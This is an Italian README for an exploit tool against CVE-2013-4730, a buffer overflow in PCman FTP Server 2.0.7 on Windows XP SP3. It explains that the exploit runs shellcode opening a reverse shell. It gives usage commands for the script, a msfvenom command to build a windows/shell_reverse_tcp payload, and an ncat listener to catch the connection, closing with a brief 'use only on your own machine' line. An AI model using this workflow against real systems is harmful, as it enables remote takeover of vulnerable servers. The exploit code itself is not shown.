PCman FTP Server: overflow del buffer ed esecuzione remota di codice [CVE-2013-4730]

Un buffer overflow molto semplice che sfrutta CVE-2013-4730 contro il server FTP di PCman v.2.0.7

Come funziona?

Questo semplice BoF sovrascrive il buffer ed esegue lo shellcode che apre una connessione di ritorno (reverse shell)

Macchine vulnerabili:

WindowsXP SP3 con PCman FTP Server versione 2.0.7

Avvio

~$ python3 PCman.py <host> <port>

Sostituisci lo shellcode con il tuo!!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

Avvia netcat

~$ ncat -lvp <shellcode port>

Usalo solo sulla tua macchina!!